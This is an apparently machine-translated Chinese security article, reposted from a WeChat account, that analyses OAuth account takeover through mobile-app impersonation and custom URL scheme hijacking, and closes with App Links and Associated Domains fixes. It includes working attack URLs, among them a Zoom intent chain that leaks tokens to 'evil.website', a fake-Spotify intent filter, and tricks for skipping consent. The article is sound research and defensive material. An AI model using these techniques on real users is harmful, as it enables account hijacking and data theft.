介绍
OAuth 已成为确保在应用程序和服务之间安全无缝地交换用户数据的关键。随着互联生态系统的兴起和对用户友好体验的需求,OAuth 已经变得无处不在,为我们与社交媒体平台、基于云的服务和无数应用程序的交互提供支持。然而,OAuth 的广泛使用也使其成为希望利用漏洞的恶意行为者的有吸引力的目标,因此确保此类协议的安全性具有至关重要性。在此背景下,通过应用程序模拟接管 OAuth 帐户的阴险威胁已成为用户和 OAuth 提供商的重大安全问题。
本文深入探讨了这种漏洞模式的复杂基础,阐明了恶意行为者破坏用户帐户、冒充合法移动应用程序和滥用 OAuth 协议的复杂方式。通过利用自定义 URL 方案劫持,攻击者可以纵 OAuth 身份验证流,欺骗用户授予对其帐户和个人信息的未经授权的访问权限。此类泄露的后果可能是深远的,包括数据泄露、经济损失以及用户和应用程序提供商的声誉损害。
作为回应,本文旨在让读者全面了解这种不断演变的威胁,提供对最新攻击技术、真实示例的见解,最重要的是,提供有关如何识别和缓解这些风险的指导。
OAuth 的工作原理是什么?
OAuth(Open Authorization 的缩写)是一种常用的授权框架,它使 Web、移动和桌面应用程序能够从 OAuth 提供商请求对用户帐户的有限访问,而无需用户提供其登录凭据,同时允许用户随时撤销对其帐户的访问权限。一个很好的示例是使用 Google 帐户登录某些应用程序,而无需从头开始输入用户凭据和详细信息。
OAuth 在设计上是一个非常灵活的标准,尽管它确实有一些组件存在于所有不同的实现中,但许多其他 OAuth 组件可以根据开发人员的需要进行定制,然而,这种灵活性为各种潜在漏洞打开了大门,这些漏洞可能由不良实践和安全配置错误引起, 另一方面,使用重定向在其 OAuth 组件之间传输敏感数据。
OAuth 有两个主要的版本,OAuth 1.0 和 OAuth 2.0,也称为 OAuth2,还有一些扩展有助于使 OAuth 实现更加健壮,例如 OpenID Connect,它是构建在 OAuth 2.0 之上的身份验证层,它提供身份验证和用户身份验证,还有 OAuth 2.0 PKCE(代码交换证明密钥), 这是公共客户端的安全扩展,用于防止授权码拦截和重放。OAuth 1.0 已弃用。
在本文中,我们将 OAuth 2.0 称为 OAuth,因为它是行业标准。
OAuth 步骤将根据给定的 OAuth 参数而有所不同,从广义上讲,OAuth 的工作原理如下:
-
客户端应用程序请求访问用户数据的子集,包括对该数据的访问类型(由 确定),指定授权类型 ()。 scope``response_type
-
系统会提示用户登录到 OAuth 授权服务器并同意请求的范围。 -
客户端应用程序接收一个唯一的一次性代码,称为来自授权服务器的代码。 code
-
客户端应用程序将此 API 交换为 . code``access token
-
客户端应用程序使用收到的访问令牌对资源服务器进行 API 调用,并请求用户同意的数据。
以下是 Auth0 的 OAuth 实现示例,其中充当授权服务器,而 是资源服务器。Auth0 Tenant``Your API
OAuth Auth0 实现
OAuth 授权框架的主要组件包括:
OAuth 角色
在典型的 OAuth 实现中,有四个实体也称为角色:
-
客户端应用程序:代表资源所有者从 Resource Server 请求访问受保护资源的应用程序。 -
资源所有者:客户端应用程序请求其数据的用户。 -
资源服务器:托管受保护资源的服务器。这用作用户数据的来源。 -
授权服务器:在获得适当的授权和同意后对资源所有者进行身份验证并颁发访问令牌的服务器,它充当身份提供商。
在许多 OAuth 实现中,资源服务器和授权服务器可以是同一实体的一部分,其中一台服务器可以处理身份验证并提供对用户数据的访问,这称为 OAuth 服务提供者
OAuth 授权类型
OAuth 定义了多种授权类型(也称为授权流或方法),以促进不同的用例和场景。每种授权类型都是针对特定的安全性和应用程序要求而设计的。以下是一些最常见的 OAuth 授权类型:
-
授权代码授予:这是用于 Web 和移动应用程序的最常见 OAuth 授权类型。它涉及一个两步过程,其中客户端首先从授权服务器获取授权码,然后将此代码交换为访问令牌,这可以与代码交换证明密钥 (PKCE) 一起使用,以防止代码拦截和重放。 -
隐式授权:此授权类型专为单页应用程序 (SPA) 而设计。它直接向客户端颁发访问令牌,无需中间授权代码。虽然它更容易实现,但它可能存在一些安全问题,因此它不适合具有高安全性要求的敏感应用程序。 -
资源所有者密码凭证授予:此授权类型允许客户端通过向授权服务器提供最终用户凭证来直接获取访问令牌。它通常用于客户端高度信任的场景。 -
客户端凭证授予:在这种授权类型中,客户端(通常是服务器端应用程序)使用自己的凭证(客户端 ID 和密钥)直接向授权服务器验证自身身份。然后,它根据其身份接收访问令牌,此授权类型不涉及用户。 -
刷新令牌授予:此授权类型用于使用与初始访问令牌一起颁发的刷新令牌来获取新的访问令牌。它对于长期会话很有用,不需要用户重新进行身份验证,在某些 OAuth 实现中,它被称为它可以在线或离线的位置。 access_type
-
设备代码授权:专为输入功能有限的设备(例如 IoT 设备或智能电视)而设计,此授权类型提供了一个代码,用户可以在单独的设备上输入该代码以完成授权过程。 -
JWT 不记名令牌授予:在此授权类型中,JSON Web 令牌 (JWT) 用于请求访问令牌。JWT 已签名,通常包含客户端可以提供给授权服务器以进行令牌颁发的声明。 -
SAML 2.0 不记名断言授权:这用于将 SAML 断言交换为 OAuth 访问令牌,通常在单点登录 (SSO) 系统的上下文中。
OAuth 范围
对于任何 OAuth 授权类型,客户端应用程序都必须指定它需要访问的数据以及允许对该数据执行的作。它使用授权请求的 scope 参数来实现这一点。
OAuth 范围可以为每个实现进行自定义,而不必遵循标准格式,应用程序可以一次请求多个范围,以下是可能的范围示例:
-
email
-
profile
-
contacts.read
-
logging.write
-
https://www.googleapis.com/auth/youtube
-
https://www.googleapis.com/auth/yt-analytics-monetary.readonly
用于身份验证时,OpenID Connect (OIDC) 身份层通常在 OAuth 之上使用,其中最常用的范围之一是 ,其中必须表示正在使用 OIDC,并且是一组有关用户的预定义基本信息,如名字、姓氏、出生日期、电子邮件等。openid profile``openid``profile
会出什么问题?
许多安全配置错误可能是由不安全的 OAuth 实现引起的,特别是:
缺少 state 参数,导致 CSRF
状态是在客户端应用程序和授权服务器之间来回发送的参数。它可以根据开发人员的需要进行定制。通常,它用于 CSRF 保护。当 state 参数未得到强化时,攻击者可以强制目标用户登录特定账户。
OAuth 隐式流中公开的令牌
OAuth 隐式授权的主要问题之一是它将访问令牌放在 URL 的片段部分,就像这个 https://auth.myapp.com/#access_token 一样。
这使得令牌可从任何正在运行的 javascript 代码(包括第三方代码)访问。如果网站不使用 HTTPS,这也会带来额外的风险,这可能会允许使用 MITM 攻击泄露令牌。为避免这种情况,OAuth 代码授予有一个中间步骤,它不是直接请求令牌,而是请求一次性代码,该代码在交换访问令牌后会自动撤销。这种交换使用 Client 应用程序的 进行,它通常不会向用户公开(也有例外,例如在 mobile 实现中)。client_secret
范围验证有缺陷/缺失
在 OAuth 流程期间,客户端应用程序指定一个参数,该参数确定它从授权服务器请求的用户数据(openid、profile、email 等)以及访问类型(read、write、readonly),然后授权服务器请求用户同意授予该访问权限。scope
应用程序最初可能会请求一个非常有限的范围(例如,配置文件),获得用户同意,然后它可能决定通过更改范围来请求更多的用户数据,如果授权服务器未根据最初请求的范围验证新请求的范围,它将允许客户端应用程序绕过用户同意并请求比用户最初同意的数据更多的数据。
OAuth 通过松散重定向 uri 验证进行授权泄漏
OAuth 流的主要缺陷之一是使用浏览器内重定向在不同 OAuth 组件之间传输机密数据,特别是 OAuth 授权,它允许客户端应用程序从授权服务器请求用户数据。
依赖重定向意味着应该严格验证 OAuth 的参数,任何松散的验证都会允许恶意行为者泄露目标用户的 OAuth 授权,从而接管他们在客户端应用程序上的帐户,同时,对他们在资源服务器上的数据具有有限的访问权限(取决于范围)。redirect_uri
以下是一些可能导致 OAuth 授权泄漏的松散验证示例:redirect_uri
-
无验证:这是最坏的情况,重定向 URI 在没有任何验证的情况下被接受,这意味着攻击者可以使用任何任意域并诱骗用户登录,一旦用户登录,他们的 OAuth 授权就会泄露。 redirect_uri
-
前缀匹配:某些应用程序不严格匹配重定向 URI,而是只确保它以特定域开头,例如检查redirect_uri是否以 开头,而攻击者可以使用它,即使它不应该有效,它仍然会被视为有效。 redirect_uri``https://www.domain.com``https://www.domain.com.malicious.com
-
通配符匹配:某些实现可能允许将任何子域用作重定向 URI,这意味着如果攻击者设法破坏或劫持子域,他们可以将其用作重定向 URI。 redirect_uri
-
部分匹配:某些实现会验证域而不是路径,当在重定向 URI 中找到打开的重定向时,这可能会导致安全问题,因为攻击者可以使用它来通过第二次重定向泄露 OAuth 授权。 redirect_uri
OAuth 授权通过环回地址泄漏
一些 OAuth 提供商依靠环回地址在客户端应用程序(桌面和移动设备)和授权服务器之间交换数据,这可能允许恶意在特定端口上启动自己的本地服务器,触发与所述服务器的 OAuth 流,从而泄露 OAuth 授权。redirect_uri
以下是 Google Cloud SDK 使用 Google OAuth 和 localhost 以允许 gcloud cli 进行身份验证的示例:redirect_uri
https://accounts.google.com/o/oauth2/auth?response_type=code&client_id=32555940559.apps.googleusercontent.com&redirect_uri=http://localhost:8085/&scope=openid&access_type=offline
应该注意的是,即使上述内容适用于 gcloud cli 桌面应用程序,它仍然可以从移动设备访问,这为攻击者提供了额外的攻击面,只需将 OAuth 流限制为桌面用户代理即可防止。client_id
OAuth 移动应用程序模拟
在 OAuth 身份验证流程中所做的一个关键假设是指向的实体的所有权,在 redirect_uri=https://www.clientapp.com/callback/oauth 的情况下,我们假设 www.clientapp.com 属于客户端应用程序,因为他们是将其配置为客户端应用程序的人,并且他们是唯一可以声明该域的人。redirect_uri``redirect_uri
对于移动应用程序,移动设备上 OAuth 的典型实现依赖于 redirect_uri=com.target.app://oauth 等自定义方案,此处的问题是用户设备上的任何应用程序都可以注册此方案并接收用于合法应用程序的 OAuth 授权。
为了让应用程序注册自定义 URI 方案,它必须通过向其清单添加类似于以下内容的 intent 过滤器来声明该方案:
<activity android:exported="true" android:name="PACKAGE_NAME.CLASS_NAME"> <intent-filter> <action android:name="android.intent.action.VIEW"/> <category android:name="android.intent.category.DEFAULT"/> <category android:name="android.intent.category.BROWSABLE"/> <data android:host="oauthredirect" android:scheme="oauthscheme"/> </intent-filter></activity>
两个应用程序可以注册相同的方案,在这种情况下,系统可以使用其他属性(如 、 和 MIME 类型)来区分两个应用程序,如果两个应用程序具有相同的属性,系统将让用户决定使用哪个应用程序继续(图 2)host``port``path
方案冲突
意图过滤器的数据元素越不具体,它的覆盖范围就越广,例如,如果接受的数据仅指定了 ,则具有该方案的每个 URI 都将由相应的意图过滤器接收。scheme
将所有这些付诸实践,攻击者运行以下场景来利用 OAuth:
以下是上图的细分:
1- 安装了恶意应用程序,合法应用程序不是:
在这种情况下,恶意应用程序可以声明属于合法应用程序的 OAuth 自定义方案,触发 OAuth 身份验证流程,一旦用户执行登录并同意,恶意应用程序将自动接收 OAuth,而无需用户进行任何额外交互。
2- 恶意应用程序和合法应用程序都已安装:
i - 合法应用程序 intent 过滤器数据元素仅指定方案:
在这种情况下,恶意应用程序可以注册属于合法应用程序的 OAuth 自定义方案,一旦合法应用程序触发 OAuth 流程,用户执行登录并同意,将打开一个弹出窗口,让用户在合法应用程序和恶意应用程序之间进行选择,具体取决于用户的选择恶意应用程序可能会也可能不会收到授权码。
ii - 合法应用程序意图过滤器数据元素指定方案和主机名:
-
当主机验证松散时redirect_uri:在这种情况下,恶意应用可以注册属于合法应用的 OAuth 自定义方案,在redirect_uri中使用修改后的主机名触发 OAuth 认证流程,一旦用户执行登录并同意,恶意应用将自动接收 OAuth 授权,而无需用户进行任何额外交互。 -
当 redirect_uri 验证严格时:在这种情况下,无论合法应用程序还是恶意应用程序触发 OAuth 流程,用户在登录并同意后将始终看到它们,利用的结果将取决于用户的选择。
iii - Android / iOS 方案混淆:
如果目标应用程序在 Android 和 iOS 中使用具有不同方案的 OAuth,攻击者可以在 Android 目标上注册用于 iOS 版本应用程序的自定义方案并触发 OAuth 流,这将允许恶意应用程序绕过与合法应用程序通过方案的冲突。
在下面的示例中,我们有相同的应用程序,分别使用两种不同的方案,分别适用于 Android 和 iOS。com.googleusercontent.apps.616463764658-p01hhcj82u4mqjnp1oca04i3o67fjsm1``com.googleusercontent.apps.340331662088-a8asqpqohdks6umfpk9p0h1oc2e885v1
Android 方案
iOS 方案
绕过意图 URI 的 OAuth 移动应用程序模拟(仅限 Chrome)
这是另一种攻击媒介,攻击者设法将受害者重定向到基于意图的 URI,然后从该意图中,强制用户第二次重定向到恶意 Web 主机,允许攻击者在没有任何恶意应用程序的情况下泄露 OAuth 授权,这种攻击仅适用于支持意图 URI 的 chrome。
一个例子是Zoom 上报告的 OAuth 账户接管,以下是攻击的展开方式:
可以通过诱骗用户访问以下 URL 来执行攻击:
https://accounts.google.com/o/oauth2/v2/auth?response_type=code&access_type=offline&client_id=849883241272-ed6lnodi1grnoomiuknqkq2rbvd2udku.apps.googleusercontent.com&scope=profile%20email&redirect_uri=https%3A%2F%2Fzoom.us%2Fgoogle%2Foauth&state=intent%3A%2F%2Fzoom.us%2Fgoogle%2Foauth?#Intent;scheme=https://evil.website/;end;
然后,受害者会降落在:
https://zoom.us/google/oauth?state=intent%3A%2F%2Fzoom.us%2Fgoogle%2Foauth%3F&code=SECRET&scope=email+profile+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.profile+openid+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.email&authuser=0&prompt=none#Intent;scheme=https://evil.website/;end;
随后:
intent://zoom.us/google/oauth?&token=ENCRYPTED_TOKEN#Intent;scheme=https://evil.website/;end;
最后:
https://evil.website/zoom.us/google/oauth?&token=ENCRYPTED_TOKEN
OAuth 移动应用程序模拟:漏洞利用
下面的列表展示了一些最常见的 OAuth 提供商的实际利用,请注意,此列表并不详尽,我们发现了属于我们一些大客户的其他易受攻击的提供商,包括区域医疗保健提供商、政府身份提供商等。
谷歌 OAuth
在我们的分析过程中,发现几个使用 Google OAuth 的应用程序正在使用自定义方案实现,Google 自定义方案通常遵循以下格式:com.googleusercontent.apps.[APPLICATION_ID]
使用自定义方案的移动设备的典型 Google OAuth 授权请求 url 如下所示,其中 是应用程序 ID 的占位符(即。616463764658-p01hhcj82u4mqjnp1oca04i3o67fjsm1):[APPLICATION_ID]
https://accounts.google.com/o/oauth2/v2/auth?client_id=[APPLICATION_ID].apps.googleusercontent.com&redirect_uri=com.googleusercontent.apps。[APPLICATION_ID]://oauthredirect&scope=email+profile&response_type=code
成功进行身份验证和同意后,上述 URL 将重定向到 OAuth 授权和其他 OAuth 参数作为 url 参数,并使用下面的意图筛选条件在客户端应用程序端接收它们:com.googleusercontent.apps.[APPLICATION_ID]://oauthredirect
<activity android:exported="true" android:name="net.openid.appauth.RedirectUriReceiverActivity"> <intent-filter> <action android:name="android.intent.action.VIEW"/> <category android:name="android.intent.category.DEFAULT"/> <category android:name="android.intent.category.BROWSABLE"/> <data android:host="oauthredirect" android:scheme="com.googleusercontent.apps.[APPLICATION_ID]"/> </intent-filter></activity>
在开发过程中,我们确实遇到了一些挑战,特别是:
-
与已注册的自定义方案的合法应用程序冲突
解决此问题的方法之一是使用上面解释的 Android / iOS 方案混淆。
-
同意所需的用户交互
在 Google Web OAuth 流程中,如果用户已经通过设置 OAuth 参数表示同意,则可以绕过用户同意提示屏幕,但是,此行为不适用于移动设备(仅适用于 Web),我们发现可以绕过同意提示以实现无缝流程的技术之一是添加 OAuth 参数并将其值设置为目标用户电子邮件, 这需要事先了解用户电子邮件,有一些技术可以实现这一目标,但我们不会在本文中讨论它们。prompt=none``login_hint
Facebook OAuth
Facebook 使用标准的自定义方案 。为避免方案冲突,应用程序需要在 intent filter 数据元素中指定一个额外的属性。fbconnect``host
移动 url 的典型 Facebook OAuth 授权请求如下所示,其中 是应用程序 ID 的占位符(即。com.spotify.music 的[APPLICATION_ID]
https://m.facebook.com/v15.0/dialog/oauth?client_id=[CLIENT_ID]&sso=chrome_custom_tab&nonce=RANDOM_NONCE&scope=openid%2Cpublic_profile&login_behavior=NATIVE_WITH_FALLBACK&redirect_uri=fbconnect%3A%2F%2Fcct.[APPLICATION_ID]&response_type=id_token%2Ctoken%2Csigned_request%2Cgraph_domain&return_scopes=true
与上述 Google OAuth 流程类似,在成功进行身份验证和同意后,用户将使用 OAuth 授权和其他 OAuth 参数作为 url 参数重定向到该流程,客户端应用程序端的 intent 过滤器如下所示:fbconnect://cct.[APPLICATION_ID]
<activity android:name="com.facebook.CustomTabActivity" android:exported="true"> <intent-filter> <action android:name="android.intent.action.VIEW"/> <category android:name="android.intent.category.DEFAULT"/> <category android:name="android.intent.category.BROWSABLE"/> <data android:scheme="fbconnect" android:host="cct.[APPLICATION_ID]"/> </intent-filter></activity>
尽管应用程序应指定主机和自定义方案,但主机不会在后端进行验证,这允许攻击者通过使用其他主机触发 OAuth 流来绕过方案与合法应用程序的冲突。下面是一个示例:
合法的 Spotify 应用程序用作 scheme 和 host,授权请求 url 如下所示:https://m.facebook.com/v15.0/dialog/oauth?client_id=174829003346&sso=chrome_custom_tab&nonce=RANDOM_NONCE&scope=openid%2Cpublic_profile&login_behavior=NATIVE_WITH_FALLBACK&redirect_uri=fbconnect%3A%2F%2Fcct.com.spotify.music&response_type=id_token%2Ctoken%2Csigned_request%2Cgraph_domain&return_scopes=truefbconnect``cct.com.spotify.music
合法 Spotify 应用程序的意图过滤器如下所示:
<activity android:name="com.facebook.CustomTabActivity" android:exported="true"> <intent-filter> <action android:name="android.intent.action.VIEW"/> <category android:name="android.intent.category.DEFAULT"/> <category android:name="android.intent.category.BROWSABLE"/> <data android:scheme="fbconnect" android:host="cct.com.spotify.music"/> </intent-filter></activity>
恶意应用程序可以触发相同的 OAuth 流程,但使用不同的主机,因为 Facebook OAuth 后端将允许任何以 开头的主机,我们将使用合法 Spotify 应用程序不期望的不同主机,例如,以下是此类授权请求 URL 的示例: https://m.facebook.com/v15.0/dialog/oauth?client_id=174829003346&sso=chrome_custom_tab&nonce=RANDOM_NONCE&scope=openid%2Cpublic_profile&login_behavior=NATIVE_WITH_FALLBACK&redirect_uri=fbconnect%3A%2F%2Fcct.com.fakespotify.malware&response_type=id_token%2Ctoken%2Csigned_request%2Cgraph_domain&return_scopes=truecct.``cct.com.fakespotify.malware
恶意 Spotify 应用程序的意图过滤器如下所示:
<activity android:name="com.facebook.CustomTabActivity" android:exported="true"> <intent-filter> <action android:name="android.intent.action.VIEW"/> <category android:name="android.intent.category.DEFAULT"/> <category android:name="android.intent.category.BROWSABLE"/> <data android:scheme="fbconnect" android:host="cct.com.fakespotify.malware"/> </intent-filter></activity>
恶意应用程序仍将收到与合法应用程序相同的 OAuth 授权,因为它是标识哪个应用程序正在从授权服务器请求数据的参数,因此具有与 Spotify 相同的client_id意味着我们成功模拟了它。client_id``174829003346
Amazon Cognito OAuth
Amazon Cognito 是 Amazon Web Services (AWS) 提供的一项服务,可为 Web 和移动应用程序提供身份和用户管理。它旨在使开发人员能够更轻松地向其应用程序添加身份验证、授权和用户管理功能。Amazon Cognito 允许通过外部身份提供商对用户进行身份验证,并提供临时安全凭证以访问 AWS 中的应用程序后端资源或 Amazon API Gateway 背后的任何服务。Amazon Cognito 可与支持 SAML 或 OpenID Connect 的外部身份提供商、社交身份提供商(如 Facebook、Twitter、Amazon)配合使用,还可以集成自定义身份提供商。
我们感兴趣的部分是 OpenID Connect,因为它构建在 OAuth 2.0 之上,并使用自定义方案进行移动 OAuth 身份验证。Amazon Cognito OAuth 移动 URL 如下所示:
https://[AMAZON_COGNITO_ENDPOINT]/login?response_type=code&client_id=[CLIENT_ID]&redirect_uri=[CUSTOM_SCHEME]://sign-in&scope=openid
在客户端应用程序端,我们有以下 intent 筛选条件:
<activity android:name="com.amplifyframework.auth.cognito.activities.HostedUIRedirectActivity" android:exported="true" android:launchMode="singleTask"> <intent-filter android:autoVerify="true"> <action android:name="android.intent.action.VIEW"/> <category android:name="android.intent.category.DEFAULT"/> <category android:name="android.intent.category.BROWSABLE"/> <data android:scheme="[CUSTOM_SCHEME]"/> <data android:host="sign-in"/> <data android:host="sign-out"/> </intent-filter></activity>
-
用户交互绕过
可以使用其他端点绕过用户交互,下面是一个示例 URL:/oauth2/authorize
https://[AMAZON_COGNITO_ENDPOINT]/oauth2/authorize?redirect_uri=[CUSTOM_SCHEME]://sign-in&response_type=TOKEN&client_id=[CLIENT_ID]&scope=openid
Okta OAuth
Okta 是一个基于云的身份和访问管理 (IAM) 平台,可为应用程序、设备和用户提供安全的身份验证和授权。它允许组织管理和控制对其各种资源(本地和云)的访问。
Okta 的主要产品是单点登录,它允许用户使用一组登录凭据访问多个应用程序和服务。Okta SSO 提供多种集成,最常见的是 SAML 和 OpenID Connect。
与上述身份提供商类似,Okta 对其 OAuth 移动实施使用自定义方案,没有标准方案,应用程序可以提出自己的自定义方案,例如授权请求 url 的位置:com.myorg.myapp.dev
https://[OKTA_IDP_ENDPOINT]/oauth2/[标识符]/v1/authorize?scope=[SCOPE]&response_type=code&redirect_uri=com.myorg.myapp.dev://login&client_id=[CLIENT_ID]
在客户端应用程序端,我们有以下 intent 筛选条件来接收 OAuth 授权:
<activity android:name="com.okta.oidc.OktaRedirectActivity" android:exported="true" android:launchMode="singleInstance" android:autoRemoveFromRecents="true"> <intent-filter> <action android:name="android.intent.action.VIEW" /> <category android:name="android.intent.category.DEFAULT" /> <category android:name="android.intent.category.BROWSABLE" /> <data android:scheme="com.myorg.myapp.dev" /> </intent-filter></activity>
-
用户交互绕过
与 Google OAuth 类似,Okta 也有一个 OAuth 参数,当与目标用户电子邮件一起提供时,它允许恶意应用程序绕过用户交互(同意)并实现无缝流程。login_hint
热门应用程序易受攻击
下载量超过 35 亿次的最大社交媒体网络之一被发现容易受到这种漏洞模式的影响。开发了一个概念验证漏洞,其中使用上述 Android / iOS 方案混淆技术与合法应用程序绕过方案冲突。通过将 parameter 设置为 target user email ,也可以绕过用户交互。login_hint
为了开发绕过用户交互的有效概念验证,我们必须经历几个步骤,每个步骤都有自己的挑战。
在设备上安装合法应用程序时,Android 应用程序用于 Google OAuth 的自定义方案已经注册,如果恶意应用程序尝试注册相同的方案将导致冲突,用户必须在两个应用程序(合法和恶意)之间进行选择。为了克服这一挑战,我们使用了 iOS 方案而不是 Android 目标,这使我们能够绕过该冲突,从而绕过用户交互的第一部分。
我们遇到的另一个挑战是,完成 OAuth 身份验证仍然需要用户交互,我们设法绕过这一点的一种方法是泄露用户电子邮件并将其传递给 OAuth 参数,这使得漏洞利用不再依赖用户交互。login_hint
泄露的 OAuth 授权如下所示,此授权将允许我们访问目标用户的帐户,并根据请求的范围对他们的 Google 帐户进行有限访问:
社交网络泄露了 OAuth 授权
我们已向 Social Network 报告了此漏洞,他们也承认了这一漏洞
发现许多其他流行的应用程序容易受到这种模式的影响,包括下载量为 100M+ 的应用程序。
建议
在 OAuth 的上下文中,传统上使用自定义方案,但有更安全、更可靠的选项可用,特别是:
-
应用程序到应用程序集成,例如 Google Identity Services 和 Android 版 Facebook Express Login -
Android 的可验证 AppLinks -
iOS 关联域
Android 可验证应用程序链接和 iOS 关联域分别是由 Android 和 iOS作系统实现的机制,用于增强移动应用程序的安全性和用户体验。Android 可验证应用链接可确保当用户点击与 Android 应用关联的 Web 链接时,系统会验证其真实性,从而降低其容易受到网络钓鱼或恶意攻击的影响。另一方面,iOS 关联域使 iOS 应用程序能够与特定 Web 域建立可信连接,从而允许应用程序和 Web 内容(例如单点登录和通用链接)之间的无缝集成。这两种技术都有助于增强移动应用程序交互的可信度并简化用户交互,从而有助于打造更安全、更便捷的移动生态系统。
人造人
您需要在后端以如下格式进行托管:/.well-known/assetlinks.json
[ {"relation": ["delegate_permission/common.handle_all_urls","delegate_permission/common.get_login_creds" ],"target": {"namespace": "android_app","package_name": "com.myapplication.android","sha256_cert_fingerprints": ["APPLICATION_CERT_FINGERPRINT" ] } }]
AndroidManifest.xml
<intent-filter android:autoVerify="true"> <action android:name="android.intent.action.VIEW" /> <category android:name="android.intent.category.DEFAULT" /> <category android:name="android.intent.category.BROWSABLE" /> <!-- If a user clicks on a shared link that uses the "http" scheme, your app should be able to delegate that traffic to "https". --> <data android:scheme="http" /> <data android:scheme="https" /> <!-- Include one or more domains that should be verified. --> <data android:host="auth.myapp.com" /></intent-filter>
Kotlin
Log.i(TAG, "Creating auth request for login hint: $loginHint")val authRequestBuilder: AuthorizationRequest.Builder = Builder( mAuthStateManager.getCurrent().getAuthorizationServiceConfiguration(), mClientId.get(), ResponseTypeValues.CODE,"https://auth.myapp.com/oauth/handler" // The redirect URI with an https scheme) .setScope(mConfiguration.getScope())if (!TextUtils.isEmpty(loginHint)) { authRequestBuilder.setLoginHint(loginHint)}mAuthRequest.set(authRequestBuilder.build())
iOS 设备
对于 iOS,您需要在后端以如下格式托管:/.well-known/apple-app-site-association
{"applinks": {"details": [{"appID": "ABCDE12345.com.myapplication.ios","paths": ["/oauth/redirect/*"] }] },"appclips":{"apps":["ABCDE12345.com.myapplication.ios" ] },"webcredentials":{"apps":["ABCDE12345.com.myapplication.ios" ] }}
release.entitlements
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN""http://www.apple.com/DTDs/PropertyList-1.0.dtd"><plist version="1.0"><dict> ... <key>com.apple.developer.associated-domains</key> <array> <string>applinks:auth.myapp.com</string> </array> ...</dict></plist>
迅速
func doAuthWithAutoCodeExchange(configuration: OIDServiceConfiguration, clientID: String, clientSecret: String?) { guard let appDelegate = UIApplication.shared.delegate as? AppDelegate else { self.logMessage("Error accessing AppDelegate")return } // builds authentication requestlet request = OIDAuthorizationRequest(configuration: configuration, clientId: clientID, clientSecret: clientSecret, scopes: [OIDScopeOpenID, OIDScopeProfile], redirectURL: "https://auth.myapp.com/oauth/handler", responseType: OIDResponseTypeCode, additionalParameters: nil) // performs authentication request logMessage("Initiating authorization request with scope: (request.scope ?? "DEFAULT_SCOPE")") appDelegate.currentAuthorizationFlow = OIDAuthState.authState(byPresenting: request, presenting: self) { authState, error iniflet authState = authState { self.setAuthState(authState) self.logMessage("Got authorization tokens. Access token: (authState.lastTokenResponse?.accessToken ?? "DEFAULT_TOKEN")") } else { self.logMessage("Authorization error: (error?.localizedDescription ?? "DEFAULT_ERROR")") self.setAuthState(nil) } }}
扑动
格拉德尔
// android/build.gradleandroid { // ... defaultConfig { // ... // Add the following line manifestPlaceholders = [auth0Domain: "auth.myapp.com", auth0Scheme: "https"] } // ...}
飞镖
final authorizationEndpoint = Uri.parse('http://example.com/oauth2/authorization');final tokenEndpoint = Uri.parse('http://example.com/oauth2/token');final identifier = 'my client identifier';final secret = 'my client secret';// Redirect URI with custom schemefinal redirectUrl = Uri.parse('https://auth.myapp.com/oauth/handler');final credentialsFile = File('~/.myapp/credentials.json');Future<oauth2.Client> createClient() async { var exists = await credentialsFile.exists();if (exists) { var credentials = oauth2.Credentials.fromJson(await credentialsFile.readAsString());return oauth2.Client(credentials, identifier: identifier, secret: secret); } var grant = oauth2.AuthorizationCodeGrant( identifier, authorizationEndpoint, tokenEndpoint, secret: secret); var authorizationUrl = grant.getAuthorizationUrl(redirectUrl); await redirect(authorizationUrl); var responseUrl = await listen(redirectUrl);return await grant.handleAuthorizationResponse(responseUrl.queryParameters);}
结论
总之,通过使用自定义方案的移动应用程序模拟来接管 OAuth 帐户的威胁是用户和 OAuth 提供商都迫切关注的问题。
原文始发于微信公众号(红云谈安全):全网最全-OAuth 帐户接管分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论